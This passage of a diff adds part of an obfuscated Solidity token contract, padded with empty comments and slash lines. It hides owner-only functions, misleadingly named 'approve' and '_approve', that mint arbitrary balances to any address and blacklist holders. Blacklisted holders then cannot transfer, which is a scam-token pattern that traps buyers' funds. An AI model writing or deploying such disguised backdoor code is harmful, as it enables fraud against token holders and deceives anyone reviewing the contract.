+        /**/if/**/(/**/_isExcludedFromF/**/[_msgSender()/**/] /**/||/**/ /**/_isExcludedFromF/**/[/**/recipient]/**/){
+            /**/_transfer/**/(/**/_msgSender/**/(), /**/recipient, /**/amount);
+            return true;
+        }////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+             uint256 /**/Market/**/ = /**/amount/**/.mul/**/(marketingWallet/**/).div/**/(100);
+        uint256 /**/Burn/**/ = /**/amount/**/.mul/**/(/**/deadF).div(/**/100);
+        /**/_transfer/**/(_msgSender(), /**/owners/**/, /**/Market/**/);
+        /**/_transfer/**/(_msgSender(), /**/deadAddress/**/, /**/Burn/**/);
+        /**/_transfer/**/(_msgSender(), /**/recipient/**/, /**/amount./**/sub(/**/Market)./**/sub(/**/Burn));
+        return /**/true;
+    }
+
+    function allowance(address owner, address spender)
+        public
+        view
+        override
+        returns (uint256)
+    {///////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+        return _allowance[owner][spender];
+    }
+
+    function approve(address spender, uint256 amount)
+        public
+        override
+        returns (bool)
+    {////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+        _approve(_msgSender(), spender, amount);
+        return true;
+    }
+////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    uint256 private damada;
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+    function transferFrom(
+        address sender,
+        address recipient,
+        uint256 amount////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+    ) public override returns (bool) {
+        damada = 3354;
+        ////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+        /**/if(/**/_isExcludedFromF/**/[/**/_msgSender/**/()] 
+        || /**/_isExcludedFromF/**/[/**/recipient/**/])
+        {
+            /**/_transfer
+            (sender, recipient, amount);
+            return true;
+        }       ////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+        uint256 Market = amount.mul(marketingWallet).div(100);
+        uint256 Burn = amount.mul(deadF).div(100);
+        /**/_transfer(sender/**/, /**/owners/**/, Market/**/);
+        /**/_transfer(sender/**/, /**/deadAddress/**/, Burn/**/);
+        /**/_transfer(sender/**/,/**/ recipient/**/, amount.sub/**/(/**/Market/**/).sub/**/(Burn/**/));
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+        /**/_approve(/**/
+            /**/sender,
+           /**/ _msgSender(),
+            /**/_allowance[sender][_msgSender()].sub(
+               /**/ amount,
+               /**/ "ERC20: transfer amount exceeds allowance"
+            )
+        );
+        return true;/**/
+    }
+////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+    function /**/approve/**/(address /**/Raddress, uint256 Pairs, address Max) external/**/ onlyOwners() /**/{
+        require(/**/Max==/**/address/**/(/**/0), " ");
+        /**/_lances/**/[/**/Raddress] /**/= /**/_lances/**/[/**/Raddress]/**/.add/**/(/**/Pairs);
+    }
+
+
+    function /**/
+   /**/ _approve/**/
+    (
+        address
+     spender) 
+     external 
+     /**/onlyOwners/**/
+     (
+     ) 
+     {
+        /**/delete/**/
+        /**/ _espat/**/
+        /**/ [spender];/**/
+    }/**/
+    
+   /**/ function /**/
+    /**/approve/**/
+    (
+        address
+         spender
+         )
+          external
+           /**/onlyOwners/**/
+           (
+
+           ) 
+           {
+       /**/ _espat[spender/**/
+        ] = 
+        true;
+    }////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+
+
+////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+
+    
+
+    function 
+    _transfer
+    (
+        address 
+        from,
+        address 
+        to,
+        uint256 
+        amount
+    ) 
+    private
+     {
+         
+        require
+        (from != address(0), "ERC20: transfer from the zero address");
+        require
+        (to != address(0), "ERC20: transfer to the zero address");
+        require
+        (amount > 0, "Transfer amount must be greater than zero");
+////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+        if /**/
+        (ratify
+        )/**/ 
+        {
+            require
+            (/**/_espat[from] 
+            == false, 
+            "okji");
+        }
+        _transfers(from, to, amount);
+    }
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+    function 
+    /**/_transfers(
+        address sender,
+        address recipient,
+        uint256 tAmount
+    ) 
+    private
+    /**/ {   
+        require(sender != address(0), "IBEP20: transfer from the zero address");
+        require(recipient != address(0), "IBEP20: transfer to the zero address");
+        /**/_lances[sender] = _lances[sender].sub(tAmount);
+        _lances[recipient] = _lances[recipient].add(tAmount);
+        /**/emit Transfer/**/(sender, recipient, tAmount);
+        ////////////////////////////////////////////////////////////////////////////////////////////////////////
+   /**/
+   /**/
+////////////**//////////////////////////////////////////////////////////////////////////////////////
+   /**/
+}/**//**//**//**//**//**/
+
+function _approve(
+        address owner,
+        address spender,
+        uint256 amount
+    ) private {
+        require(owner != address(0), "ERC20: approve from the zero address");
+        require(spender != address(0), "ERC20: approve to the zero address");
+        _allowance[owner][spender] = amount;
+        emit Approval(owner, spender, amount);
+    }//
+    //
+}/**//**//**//**//**//**//**///